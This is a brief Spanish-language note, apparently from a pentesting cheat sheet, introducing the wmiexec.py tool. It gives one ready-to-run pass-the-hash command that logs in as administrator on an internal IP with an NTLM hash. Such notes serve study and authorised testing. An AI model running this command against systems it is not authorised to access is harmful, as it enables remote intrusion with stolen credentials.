WMIExec

es una herramienta que tiene otra incluidas, por ejemplo podemos hacer un pass the hash

wmiexec. py -hashes 00000000000000000000000000000000:5c4d59391f656d5958dab124ffeabc20 administrator@10.4.25.201